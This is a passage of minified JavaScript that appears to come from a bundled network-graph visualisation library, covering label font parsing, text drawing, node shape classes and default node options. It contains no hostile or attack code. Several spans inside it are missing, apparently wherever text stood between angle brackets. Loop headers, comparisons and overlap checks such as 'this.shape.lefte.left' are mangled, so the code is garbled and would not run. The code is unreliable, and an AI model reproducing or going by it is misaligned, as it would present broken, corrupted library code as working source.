0,this.fontOptions={},this.setOptions(t),this.size={top:0,left:0,width:0,height:0,yLine:0},this.isEdgeLabel=i}setOptions(e){if(this.elementOptions=e,this.initFontOptions(e.font),Cr(e.label)?this.labelDirty=!0:e.label=void 0,e.font!==void 0&&e.font!==null){if(typeof e.font=="string")this.baseSize=this.fontOptions.size;else if(typeof e.font=="object"){const t=e.font.size;t!==void 0&&(this.baseSize=t)}}}initFontOptions(e){if(we(QI,t=>{this.fontOptions[t]={}}),CC.parseFontString(this.fontOptions,e)){this.fontOptions.vadjust=0;return}we(e,(t,i)=>{t!=null&&typeof t!="object"&&(this.fontOptions[i]=t)})}static parseFontString(e,t){if(!t||typeof t!="string")return!1;const i=t.split(" ");return e.size=+i[0].replace("px",""),e.face=i[1],e.color=i[2],!0}constrain(e){const t={constrainWidth:!1,maxWdt:-1,minWdt:-1,constrainHeight:!1,minHgt:-1,valign:"middle"},i=nn(e,"widthConstraint");if(typeof i=="number")t.maxWdt=Number(i),t.minWdt=Number(i);else if(typeof i=="object"){const o=nn(e,["widthConstraint","maximum"]);typeof o=="number"&&(t.maxWdt=Number(o));const s=nn(e,["widthConstraint","minimum"]);typeof s=="number"&&(t.minWdt=Number(s))}const C=nn(e,"heightConstraint");if(typeof C=="number")t.minHgt=Number(C);else if(typeof C=="object"){const o=nn(e,["heightConstraint","minimum"]);typeof o=="number"&&(t.minHgt=Number(o));const s=nn(e,["heightConstraint","valign"]);typeof s=="string"&&(s==="top"||s==="bottom")&&(t.valign=s)}return t}update(e,t){this.setOptions(e,!0),this.propagateFonts(t),We(this.fontOptions,this.constrain(t)),this.fontOptions.chooser=hu("label",t)}adjustSizes(e){const t=e?e.right+e.left:0;this.fontOptions.constrainWidth&&(this.fontOptions.maxWdt-=t,this.fontOptions.minWdt-=t);const i=e?e.top+e.bottom:0;this.fontOptions.constrainHeight&&(this.fontOptions.minHgt-=i)}addFontOptionsToPile(e,t){for(let i=0;i{s!==void 0&&(Object.prototype.hasOwnProperty.call(t,a)||(Ge(QI).call(QI,a)!==-1?t[a]={}:t[a]=s))})}return t}getFontOption(e,t,i){let C;for(let o=0;o{o[l]=a}),o.size=Number(o.size),o.vadjust=Number(o.vadjust)}}draw(e,t,i,C,o){let s=arguments.length>5&&arguments[5]!==void 0?arguments[5]:"middle";if(this.elementOptions.label===void 0)return;let a=this.fontOptions.size*this.body.view.scale;this.elementOptions.label&&a=this.elementOptions.scaling.label.maxVisible&&(a=Number(this.elementOptions.scaling.label.maxVisible)/this.body.view.scale),this.calculateLabelSize(e,C,o,t,i,s),this._drawBackground(e),this._drawText(e,t,this.size.yLine,s,a))}_drawBackground(e){if(this.fontOptions.background!==void 0&&this.fontOptions.background!=="none"){e.fillStyle=this.fontOptions.background;const t=this.getSize();e.fillRect(t.left,t.top,t.width,t.height)}}_drawText(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:"middle",o=arguments.length>4?arguments[4]:void 0;[t,i]=this._setAlignment(e,t,i,C),e.textAlign="left",t=t-this.size.width/2,this.fontOptions.valign&&this.size.height>this.size.labelHeight&&(this.fontOptions.valign==="top"&&(i-=(this.size.height-this.size.labelHeight)/2),this.fontOptions.valign==="bottom"&&(i+=(this.size.height-this.size.labelHeight)/2));for(let s=0;s0&&(e.lineWidth=h.strokeWidth,e.strokeStyle=m,e.lineJoin="round"),e.fillStyle=p,h.strokeWidth>0&&e.strokeText(h.text,t+l,i+h.vadjust),e.fillText(h.text,t+l,i+h.vadjust),l+=h.width}i+=a.height}}}_setAlignment(e,t,i,C){if(this.isEdgeLabel&&this.fontOptions.align!=="horizontal"&&this.pointToSelf===!1){t=0,i=0;const o=2;this.fontOptions.align==="top"?(e.textBaseline="alphabetic",i-=2*o):this.fontOptions.align==="bottom"?(e.textBaseline="hanging",i+=2*o):e.textBaseline="middle"}else e.textBaseline=C;return[t,i]}_getColor(e,t,i){let C=e||"#000000",o=i||"#ffffff";if(t<=this.elementOptions.scaling.label.drawThreshold){const s=Math.max(0,Math.min(1,1-(this.elementOptions.scaling.label.drawThreshold-t)));C=Ng(C,s),o=Ng(o,s)}return[C,o]}getTextSize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;return this._processLabel(e,t,i),{width:this.size.width,height:this.size.height,lineCount:this.lineCount}}getSize(){let t=this.size.left,i=this.size.top-.5*2;if(this.isEdgeLabel){const o=-this.size.width*.5;switch(this.fontOptions.align){case"middle":t=o,i=-this.size.height*.5;break;case"top":t=o,i=-(this.size.height+2);break;case"bottom":t=o,i=2;break}}return{left:t,top:i,width:this.size.width,height:this.size.height}}calculateLabelSize(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:0,o=arguments.length>4&&arguments[4]!==void 0?arguments[4]:0,s=arguments.length>5&&arguments[5]!==void 0?arguments[5]:"middle";this._processLabel(e,t,i),this.size.left=C-this.size.width*.5,this.size.top=o-this.size.height*.5,this.size.yLine=o+(1-this.lineCount)*.5*this.fontOptions.size,s==="hanging"&&(this.size.top+=.5*this.fontOptions.size,this.size.top+=4,this.size.yLine+=4)}getFormattingValues(e,t,i,C){const o=function(l,u,h){return u==="normal"?h==="mod"?"":l[h]:l[u][h]!==void 0?l[u][h]:l[h]},s={color:o(this.fontOptions,C,"color"),size:o(this.fontOptions,C,"size"),face:o(this.fontOptions,C,"face"),mod:o(this.fontOptions,C,"mod"),vadjust:o(this.fontOptions,C,"vadjust"),strokeWidth:this.fontOptions.strokeWidth,strokeColor:this.fontOptions.strokeColor};(t||i)&&(C==="normal"&&this.fontOptions.chooser===!0&&this.elementOptions.labelHighlightBold?s.mod="bold":typeof this.fontOptions.chooser=="function"&&this.fontOptions.chooser(s,this.elementOptions.id,t,i));let a="";return s.mod!==void 0&&s.mod!==""&&(a+=s.mod+" "),a+=s.size+"px "+s.face,e.font=a.replace(/"/g,""),s.font=e.font,s.height=s.size,s}differentState(e,t){return e!==this.selectedState||t!==this.hoverState}_processLabelText(e,t,i,C){return new FH(e,this,t,i).process(C)}_processLabel(e,t,i){if(this.labelDirty===!1&&!this.differentState(t,i))return;const C=this._processLabelText(e,t,i,this.elementOptions.label);this.fontOptions.minWdt>0&&C.width0&&C.height0&&(this.enableBorderDashes(e,t),e.stroke(),this.disableBorderDashes(e,t)),e.restore()}performFill(e,t){e.save(),e.fillStyle=t.color,this.enableShadow(e,t),OI(e).call(e),this.disableShadow(e,t),e.restore(),this.performStroke(e,t)}_addBoundingBoxMargin(e){this.boundingBox.left-=e,this.boundingBox.top-=e,this.boundingBox.bottom+=e,this.boundingBox.right+=e}_updateBoundingBox(e,t,i,C,o){i!==void 0&&this.resize(i,C,o),this.left=e-this.width/2,this.top=t-this.height/2,this.boundingBox.left=this.left,this.boundingBox.top=this.top,this.boundingBox.bottom=this.top+this.height,this.boundingBox.right=this.left+this.width}updateBoundingBox(e,t,i,C,o){this._updateBoundingBox(e,t,i,C,o)}getDimensionsFromLabel(e,t,i){this.textSize=this.labelModule.getTextSize(e,t,i);let C=this.textSize.width,o=this.textSize.height;const s=14;return C===0&&(C=s,o=s),{width:C,height:o}}}let VH=class extends gA{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.needsRefresh(t,i)){const C=this.getDimensionsFromLabel(e,t,i);this.width=C.width+this.margin.right+this.margin.left,this.height=C.height+this.margin.top+this.margin.bottom,this.radius=this.width/2}}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width/2,this.top=i-this.height/2,this.initContextForDraw(e,s),cm(e,this.left,this.top,this.width,this.height,s.borderRadius),this.performFill(e,s),this.updateBoundingBox(t,i,e,C,o),this.labelModule.draw(e,this.left+this.textSize.width/2+this.margin.left,this.top+this.textSize.height/2+this.margin.top,C,o)}updateBoundingBox(e,t,i,C,o){this._updateBoundingBox(e,t,i,C,o);const s=this.options.shapeProperties.borderRadius;this._addBoundingBoxMargin(s)}distanceToBorder(e,t){e&&this.resize(e);const i=this.options.borderWidth;return Math.min(Math.abs(this.width/2/Math.cos(t)),Math.abs(this.height/2/Math.sin(t)))+i}};class pu extends gA{constructor(e,t,i){super(e,t,i),this.labelOffset=0,this.selected=!1}setOptions(e,t,i){this.options=e,t===void 0&&i===void 0||this.setImages(t,i)}setImages(e,t){t&&this.selected?(this.imageObj=t,this.imageObjAlt=e):(this.imageObj=e,this.imageObjAlt=t)}switchImages(e){const t=e&&!this.selected||!e&&this.selected;if(this.selected=e,this.imageObjAlt!==void 0&&t){const i=this.imageObj;this.imageObj=this.imageObjAlt,this.imageObjAlt=i}}_getImagePadding(){const e={top:0,right:0,bottom:0,left:0};if(this.options.imagePadding){const t=this.options.imagePadding;typeof t=="object"?(e.top=t.top,e.right=t.right,e.bottom=t.bottom,e.left=t.left):(e.top=t,e.right=t,e.bottom=t,e.left=t)}return e}_resizeImage(){let e,t;if(this.options.shapeProperties.useImageSize===!1){let i=1,C=1;this.imageObj.width&&this.imageObj.height&&(this.imageObj.width>this.imageObj.height?i=this.imageObj.width/this.imageObj.height:C=this.imageObj.height/this.imageObj.width),e=this.options.size*2*i,t=this.options.size*2*C}else{const i=this._getImagePadding();e=this.imageObj.width+i.left+i.right,t=this.imageObj.height+i.top+i.bottom}this.width=e,this.height=t,this.radius=.5*this.width}_drawRawCircle(e,t,i,C){this.initContextForDraw(e,C),zl(e,t,i,C.size),this.performFill(e,C)}_drawImageAtPosition(e,t){if(this.imageObj.width!=0){e.globalAlpha=t.opacity!==void 0?t.opacity:1,this.enableShadow(e,t);let i=1;this.options.shapeProperties.interpolation===!0&&(i=this.imageObj.width/this.width/this.body.view.scale);const C=this._getImagePadding(),o=this.left+C.left,s=this.top+C.top,a=this.width-C.left-C.right,l=this.height-C.top-C.bottom;this.imageObj.drawImageAtPosition(e,i,o,s,a,l),this.disableShadow(e,t)}}_drawImageLabel(e,t,i,C,o){let s=0;if(this.height!==void 0){s=this.height*.5;const l=this.labelModule.getTextSize(e,C,o);l.lineCount>=1&&(s+=l.height/2)}const a=i+s;this.options.label&&(this.labelOffset=s),this.labelModule.draw(e,t,a,C,o,"hanging")}}let YH=class extends pu{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.needsRefresh(t,i)){const C=this.getDimensionsFromLabel(e,t,i),o=Math.max(C.width+this.margin.right+this.margin.left,C.height+this.margin.top+this.margin.bottom);this.options.size=o/2,this.width=o,this.height=o,this.radius=this.width/2}}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width/2,this.top=i-this.height/2,this._drawRawCircle(e,t,i,s),this.updateBoundingBox(t,i),this.labelModule.draw(e,this.left+this.textSize.width/2+this.margin.left,i,C,o)}updateBoundingBox(e,t){this.boundingBox.top=t-this.options.size,this.boundingBox.left=e-this.options.size,this.boundingBox.right=e+this.options.size,this.boundingBox.bottom=t+this.options.size}distanceToBorder(e){return e&&this.resize(e),this.width*.5}};class UH extends pu{constructor(e,t,i,C,o){super(e,t,i),this.setImages(C,o)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.imageObj.src===void 0||this.imageObj.width===void 0||this.imageObj.height===void 0){const o=this.options.size*2;this.width=o,this.height=o,this.radius=.5*this.width;return}this.needsRefresh(t,i)&&this._resizeImage()}draw(e,t,i,C,o,s){this.switchImages(C),this.resize();let a=t,l=i;this.options.shapeProperties.coordinateOrigin==="top-left"?(this.left=t,this.top=i,a+=this.width/2,l+=this.height/2):(this.left=t-this.width/2,this.top=i-this.height/2),this._drawRawCircle(e,a,l,s),e.save(),e.clip(),this._drawImageAtPosition(e,s),e.restore(),this._drawImageLabel(e,a,l,C,o),this.updateBoundingBox(t,i)}updateBoundingBox(e,t){this.options.shapeProperties.coordinateOrigin==="top-left"?(this.boundingBox.top=t,this.boundingBox.left=e,this.boundingBox.right=e+this.options.size*2,this.boundingBox.bottom=t+this.options.size*2):(this.boundingBox.top=t-this.options.size,this.boundingBox.left=e-this.options.size,this.boundingBox.right=e+this.options.size,this.boundingBox.bottom=t+this.options.size),this.boundingBox.left=Math.min(this.boundingBox.left,this.labelModule.size.left),this.boundingBox.right=Math.max(this.boundingBox.right,this.labelModule.size.left+this.labelModule.size.width),this.boundingBox.bottom=Math.max(this.boundingBox.bottom,this.boundingBox.bottom+this.labelOffset)}distanceToBorder(e){return e&&this.resize(e),this.width*.5}}class on extends gA{constructor(e,t,i){super(e,t,i)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover,C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{size:this.options.size};if(this.needsRefresh(t,i)){var o,s;this.labelModule.getTextSize(e,t,i);const a=2*C.size;this.width=(o=this.customSizeWidth)!==null&&o!==void 0?o:a,this.height=(s=this.customSizeHeight)!==null&&s!==void 0?s:a,this.radius=.5*this.width}}_drawShape(e,t,i,C,o,s,a,l){return this.resize(e,s,a,l),this.left=C-this.width/2,this.top=o-this.height/2,this.initContextForDraw(e,l),O3(t)(e,C,o,l.size),this.performFill(e,l),this.options.icon!==void 0&&this.options.icon.code!==void 0&&(e.font=(s?"bold ":"")+this.height/2+"px "+(this.options.icon.face||"FontAwesome"),e.fillStyle=this.options.icon.color||"black",e.textAlign="center",e.textBaseline="middle",e.fillText(this.options.icon.code,C,o)),{drawExternalLabel:()=>{if(this.options.label!==void 0){this.labelModule.calculateLabelSize(e,s,a,C,o,"hanging");const u=o+.5*this.height+.5*this.labelModule.size.height;this.labelModule.draw(e,C,u,s,a,"hanging")}this.updateBoundingBox(C,o)}}}updateBoundingBox(e,t){this.boundingBox.top=t-this.options.size,this.boundingBox.left=e-this.options.size,this.boundingBox.right=e+this.options.size,this.boundingBox.bottom=t+this.options.size,this.options.label!==void 0&&this.labelModule.size.width>0&&(this.boundingBox.left=Math.min(this.boundingBox.left,this.labelModule.size.left),this.boundingBox.right=Math.max(this.boundingBox.right,this.labelModule.size.left+this.labelModule.size.width),this.boundingBox.bottom=Math.max(this.boundingBox.bottom,this.boundingBox.bottom+this.labelModule.size.height))}}function K0(n,e){var t=$e(n);if(si){var i=si(n);e&&(i=Et(i).call(i,function(C){return ri(n,C).enumerable})),t.push.apply(t,i)}return t}function HH(n){for(var e=1;e{e.save(),l(),e.restore()}}return a.nodeDimensions&&(this.customSizeWidth=a.nodeDimensions.width,this.customSizeHeight=a.nodeDimensions.height),a}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}class QH extends gA{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e,t,i){if(this.needsRefresh(t,i)){const o=this.getDimensionsFromLabel(e,t,i).width+this.margin.right+this.margin.left;this.width=o,this.height=o,this.radius=this.width/2}}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width/2,this.top=i-this.height/2,this.initContextForDraw(e,s),um(e,t-this.width/2,i-this.height/2,this.width,this.height),this.performFill(e,s),this.updateBoundingBox(t,i,e,C,o),this.labelModule.draw(e,this.left+this.textSize.width/2+this.margin.left,this.top+this.textSize.height/2+this.margin.top,C,o)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}let XH=class extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"diamond",4,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}};class WH extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"circle",2,t,i,C,o,s)}distanceToBorder(e){return e&&this.resize(e),this.options.size}}class Q0 extends gA{constructor(e,t,i){super(e,t,i)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.needsRefresh(t,i)){const C=this.getDimensionsFromLabel(e,t,i);this.height=C.height*2,this.width=C.width+C.height,this.radius=.5*this.width}}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width*.5,this.top=i-this.height*.5,this.initContextForDraw(e,s),Rl(e,this.left,this.top,this.width,this.height),this.performFill(e,s),this.updateBoundingBox(t,i,e,C,o),this.labelModule.draw(e,t,i,C,o)}distanceToBorder(e,t){e&&this.resize(e);const i=this.width*.5,C=this.height*.5,o=Math.sin(t)*i,s=Math.cos(t)*C;return i*C/Math.sqrt(o*o+s*s)}}class qH extends gA{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e,t,i){this.needsRefresh(t,i)&&(this.iconSize={width:Number(this.options.icon.size),height:Number(this.options.icon.size)},this.width=this.iconSize.width+this.margin.right+this.margin.left,this.height=this.iconSize.height+this.margin.top+this.margin.bottom,this.radius=.5*this.width)}draw(e,t,i,C,o,s){return this.resize(e,C,o),this.options.icon.size=this.options.icon.size||50,this.left=t-this.width/2,this.top=i-this.height/2,this._icon(e,t,i,C,o,s),{drawExternalLabel:()=>{this.options.label!==void 0&&this.labelModule.draw(e,this.left+this.iconSize.width/2+this.margin.left,i+this.height/2+5,C),this.updateBoundingBox(t,i)}}}updateBoundingBox(e,t){this.boundingBox.top=t-this.options.icon.size*.5,this.boundingBox.left=e-this.options.icon.size*.5,this.boundingBox.right=e+this.options.icon.size*.5,this.boundingBox.bottom=t+this.options.icon.size*.5,this.options.label!==void 0&&this.labelModule.size.width>0&&(this.boundingBox.left=Math.min(this.boundingBox.left,this.labelModule.size.left),this.boundingBox.right=Math.max(this.boundingBox.right,this.labelModule.size.left+this.labelModule.size.width),this.boundingBox.bottom=Math.max(this.boundingBox.bottom,this.boundingBox.bottom+this.labelModule.size.height+5))}_icon(e,t,i,C,o,s){const a=Number(this.options.icon.size);this.options.icon.code!==void 0?(e.font=[this.options.icon.weight!=null?this.options.icon.weight:C?"bold":"",(this.options.icon.weight!=null&&C?5:0)+a+"px",this.options.icon.face].join(" "),e.fillStyle=this.options.icon.color||"black",e.textAlign="center",e.textBaseline="middle",this.enableShadow(e,s),e.fillText(this.options.icon.code,t,i),this.disableShadow(e,s)):console.error("When using the icon shape, you need to define the code in the icon options object. This can be done per node or globally.")}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}let JH=class extends pu{constructor(e,t,i,C,o){super(e,t,i),this.setImages(C,o)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.imageObj.src===void 0||this.imageObj.width===void 0||this.imageObj.height===void 0){const o=this.options.size*2;this.width=o,this.height=o;return}this.needsRefresh(t,i)&&this._resizeImage()}draw(e,t,i,C,o,s){e.save(),this.switchImages(C),this.resize();let a=t,l=i;if(this.options.shapeProperties.coordinateOrigin==="top-left"?(this.left=t,this.top=i,a+=this.width/2,l+=this.height/2):(this.left=t-this.width/2,this.top=i-this.height/2),this.options.shapeProperties.useBorderWithImage===!0){const u=this.options.borderWidth,h=this.options.borderWidthSelected||2*this.options.borderWidth,p=(C?h:u)/this.body.view.scale;e.lineWidth=Math.min(this.width,p),e.beginPath();let m=C?this.options.color.highlight.border:o?this.options.color.hover.border:this.options.color.border,v=C?this.options.color.highlight.background:o?this.options.color.hover.background:this.options.color.background;s.opacity!==void 0&&(m=Ng(m,s.opacity),v=Ng(v,s.opacity)),e.strokeStyle=m,e.fillStyle=v,e.rect(this.left-.5*e.lineWidth,this.top-.5*e.lineWidth,this.width+e.lineWidth,this.height+e.lineWidth),OI(e).call(e),this.performStroke(e,s),e.closePath()}this._drawImageAtPosition(e,s),this._drawImageLabel(e,a,l,C,o),this.updateBoundingBox(t,i),e.restore()}updateBoundingBox(e,t){this.resize(),this.options.shapeProperties.coordinateOrigin==="top-left"?(this.left=e,this.top=t):(this.left=e-this.width/2,this.top=t-this.height/2),this.boundingBox.left=this.left,this.boundingBox.top=this.top,this.boundingBox.bottom=this.top+this.height,this.boundingBox.right=this.left+this.width,this.options.label!==void 0&&this.labelModule.size.width>0&&(this.boundingBox.left=Math.min(this.boundingBox.left,this.labelModule.size.left),this.boundingBox.right=Math.max(this.boundingBox.right,this.labelModule.size.left+this.labelModule.size.width),this.boundingBox.bottom=Math.max(this.boundingBox.bottom,this.boundingBox.bottom+this.labelOffset))}distanceToBorder(e,t){return this._distanceToBorder(e,t)}};class $H extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"square",2,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}class eK extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"hexagon",4,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}class tK extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"star",4,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}class gK extends gA{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e,t,i){this.needsRefresh(t,i)&&(this.textSize=this.labelModule.getTextSize(e,t,i),this.width=this.textSize.width+this.margin.right+this.margin.left,this.height=this.textSize.height+this.margin.top+this.margin.bottom,this.radius=.5*this.width)}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width/2,this.top=i-this.height/2,this.enableShadow(e,s),this.labelModule.draw(e,this.left+this.textSize.width/2+this.margin.left,this.top+this.textSize.height/2+this.margin.top,C,o),this.disableShadow(e,s),this.updateBoundingBox(t,i,e,C,o)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}let iK=class extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"triangle",3,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}};class nK extends on{constructor(e,t,i){super(e,t,i)}draw(e,t,i,C,o,s){return this._drawShape(e,"triangleDown",3,t,i,C,o,s)}distanceToBorder(e,t){return this._distanceToBorder(e,t)}}function X0(n,e){var t=$e(n);if(si){var i=si(n);e&&(i=Et(i).call(i,function(C){return ri(n,C).enumerable})),t.push.apply(t,i)}return t}function W0(n){for(var e=1;et[u]!=null);l.push("font"),Ks(l,e,a),e.color=Gc(e.color)}static parseOptions(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=arguments.length>4?arguments[4]:void 0;if(Ks(["color","fixed","shadow"],e,t,i),it.checkMass(t),e.opacity!==void 0&&(it.checkOpacity(e.opacity)||(console.error("Invalid option for node opacity. Value must be between 0 and 1, found: "+e.opacity),e.opacity=void 0)),t.opacity!==void 0&&(it.checkOpacity(t.opacity)||(console.error("Invalid option for node opacity. Value must be between 0 and 1, found: "+t.opacity),t.opacity=void 0)),t.shapeProperties&&!it.checkCoordinateOrigin(t.shapeProperties.coordinateOrigin)&&console.error("Invalid option for node coordinateOrigin, found: "+t.shapeProperties.coordinateOrigin),Dg(e,t,"shadow",C),t.color!==void 0&&t.color!==null){const a=Gc(t.color);ub(e.color,a)}else i===!0&&t.color===null&&(e.color=gn(C.color));t.fixed!==void 0&&t.fixed!==null&&(typeof t.fixed=="boolean"?(e.fixed.x=t.fixed,e.fixed.y=t.fixed):(t.fixed.x!==void 0&&typeof t.fixed.x=="boolean"&&(e.fixed.x=t.fixed.x),t.fixed.y!==void 0&&typeof t.fixed.y=="boolean"&&(e.fixed.y=t.fixed.y))),i===!0&&t.font===null&&(e.font=gn(C.font)),it.updateGroupOptions(e,t,o),t.scaling!==void 0&&Dg(e.scaling,t.scaling,"label",C.scaling)}getFormattingValues(){const e={color:this.options.color.background,opacity:this.options.opacity,borderWidth:this.options.borderWidth,borderColor:this.options.color.border,size:this.options.size,borderDashes:this.options.shapeProperties.borderDashes,borderRadius:this.options.shapeProperties.borderRadius,shadow:this.options.shadow.enabled,shadowColor:this.options.shadow.color,shadowSize:this.options.shadow.size,shadowX:this.options.shadow.x,shadowY:this.options.shadow.y};if(this.selected||this.hover?this.chooser===!0?this.selected?(this.options.borderWidthSelected!=null?e.borderWidth=this.options.borderWidthSelected:e.borderWidth*=2,e.color=this.options.color.highlight.background,e.borderColor=this.options.color.highlight.border,e.shadow=this.options.shadow.enabled):this.hover&&(e.color=this.options.color.hover.background,e.borderColor=this.options.color.hover.border,e.shadow=this.options.shadow.enabled):typeof this.chooser=="function"&&(this.chooser(e,this.options.id,this.selected,this.hover),e.shadow===!1&&(e.shadowColor!==this.options.shadow.color||e.shadowSize!==this.options.shadow.size||e.shadowX!==this.options.shadow.x||e.shadowY!==this.options.shadow.y)&&(e.shadow=!0)):e.shadow=this.options.shadow.enabled,this.options.opacity!==void 0){const t=this.options.opacity;e.borderColor=Ng(e.borderColor,t),e.color=Ng(e.color,t),e.shadowColor=Ng(e.shadowColor,t)}return e}updateLabelModule(e){(this.options.label===void 0||this.options.label===null)&&(this.options.label=""),it.updateGroupOptions(this.options,W0(W0({},e),{},{color:e&&e.color||this._localColor||void 0}),this.grouplist);const t=this.grouplist.get(this.options.group,!1),i=[e,this.options,t,this.globalOptions,this.defaultOptions];this.labelModule.update(this.options,i),this.labelModule.baseSize!==void 0&&(this.baseFontSize=this.labelModule.baseSize)}updateShape(e){if(e===this.options.shape&&this.shape)this.shape.setOptions(this.options,this.imageObj,this.imageObjAlt);else switch(this.options.shape){case"box":this.shape=new VH(this.options,this.body,this.labelModule);break;case"circle":this.shape=new YH(this.options,this.body,this.labelModule);break;case"circularImage":this.shape=new UH(this.options,this.body,this.labelModule,this.imageObj,this.imageObjAlt);break;case"custom":this.shape=new KH(this.options,this.body,this.labelModule,this.options.ctxRenderer);break;case"database":this.shape=new QH(this.options,this.body,this.labelModule);break;case"diamond":this.shape=new XH(this.options,this.body,this.labelModule);break;case"dot":this.shape=new WH(this.options,this.body,this.labelModule);break;case"ellipse":this.shape=new Q0(this.options,this.body,this.labelModule);break;case"icon":this.shape=new qH(this.options,this.body,this.labelModule);break;case"image":this.shape=new JH(this.options,this.body,this.labelModule,this.imageObj,this.imageObjAlt);break;case"square":this.shape=new $H(this.options,this.body,this.labelModule);break;case"hexagon":this.shape=new eK(this.options,this.body,this.labelModule);break;case"star":this.shape=new tK(this.options,this.body,this.labelModule);break;case"text":this.shape=new gK(this.options,this.body,this.labelModule);break;case"triangle":this.shape=new iK(this.options,this.body,this.labelModule);break;case"triangleDown":this.shape=new nK(this.options,this.body,this.labelModule);break;default:this.shape=new Q0(this.options,this.body,this.labelModule);break}this.needsRefresh()}select(){this.selected=!0,this.needsRefresh()}unselect(){this.selected=!1,this.needsRefresh()}needsRefresh(){this.shape.refreshNeeded=!0}getTitle(){return this.options.title}distanceToBorder(e,t){return this.shape.distanceToBorder(e,t)}isFixed(){return this.options.fixed.x&&this.options.fixed.y}isSelected(){return this.selected}getValue(){return this.options.value}getLabelSize(){return this.labelModule.size()}setValueRange(e,t,i){if(this.options.value!==void 0){const C=this.options.scaling.customScalingFunction(e,t,i,this.options.value),o=this.options.scaling.max-this.options.scaling.min;if(this.options.scaling.label.enabled===!0){const s=this.options.scaling.label.max-this.options.scaling.label.min;this.options.font.size=this.options.scaling.label.min+C*s}this.options.size=this.options.scaling.min+C*o}else this.options.size=this.baseSize,this.options.font.size=this.baseFontSize;this.updateLabelModule()}draw(e){const t=this.getFormattingValues();return this.shape.draw(e,this.x,this.y,this.selected,this.hover,t)||{}}updateBoundingBox(e){this.shape.updateBoundingBox(this.x,this.y,e)}resize(e){const t=this.getFormattingValues();this.shape.resize(e,this.selected,this.hover,t)}getItemsOnPoint(e){const t=[];return this.labelModule.visible()&&fu(this.labelModule.getSize(),e)&&t.push({nodeId:this.id,labelId:0}),fu(this.shape.boundingBox,e)&&t.push({nodeId:this.id}),t}isOverlappingWith(e){return this.shape.lefte.left&&this.shape.tope.top}isBoundingBoxOverlappingWith(e){return this.shape.boundingBox.lefte.left&&this.shape.boundingBox.tope.top}static checkMass(e,t){if(e.mass!==void 0&&e.mass<=0){let i="";t!==void 0&&(i=" in node id: "+t),console.error("%cNegative or zero mass disallowed"+i+", setting mass to 1.",mb),e.mass=1}}}class AK{constructor(e,t,i,C){var o;if(this.body=e,this.images=t,this.groups=i,this.layoutEngine=C,this.body.functions.createNode=X(o=this.create).call(o,this),this.nodesListeners={add:(s,a)=>{this.add(a.items)},update:(s,a)=>{this.update(a.items,a.data,a.oldData)},remove:(s,a)=>{this.remove(a.items)}},this.defaultOptions={borderWidth:1,borderWidthSelected:void 0,brokenImage:void 0,color:{border:"#2B7CE9",background:"#97C2FC",highlight:{border:"#2B7CE9",background:"#D2E5FF"},hover:{border:"#2B7CE9",background:"#D2E5FF"}},opacity:void 0,fixed:{x:!1,y:!1},font:{color:"#343434",size:14,face:"arial",background:"none",strokeWidth:0,strokeColor:"#ffffff",align:"center",vadjust:0,multi:!1,bold:{mod:"bold"},boldital:{mod:"bold italic"},ital:{mod:"italic"},mono:{mod:"",size:15,face:"monospace",vadjust:2}},group:void 0,hidden:!1,icon:{face:"FontAwesome",code:void 0,size:50,color:"#2B7CE9"},image:void 0,imagePadding:{top:0,right:0,bottom:0,left:0},label:void 0,labelHighlightBold:!0,level:void 0,margin:{top:5,right:5,bottom:5,left:5},mass:1,physics:!0,scaling:{min:10,max:30,label:{enabled:!1,min:14,max:30,maxVisible:30,drawThreshold:5},customScalingFunction:function(s,a,l,u){if(a===s)return .5;{const 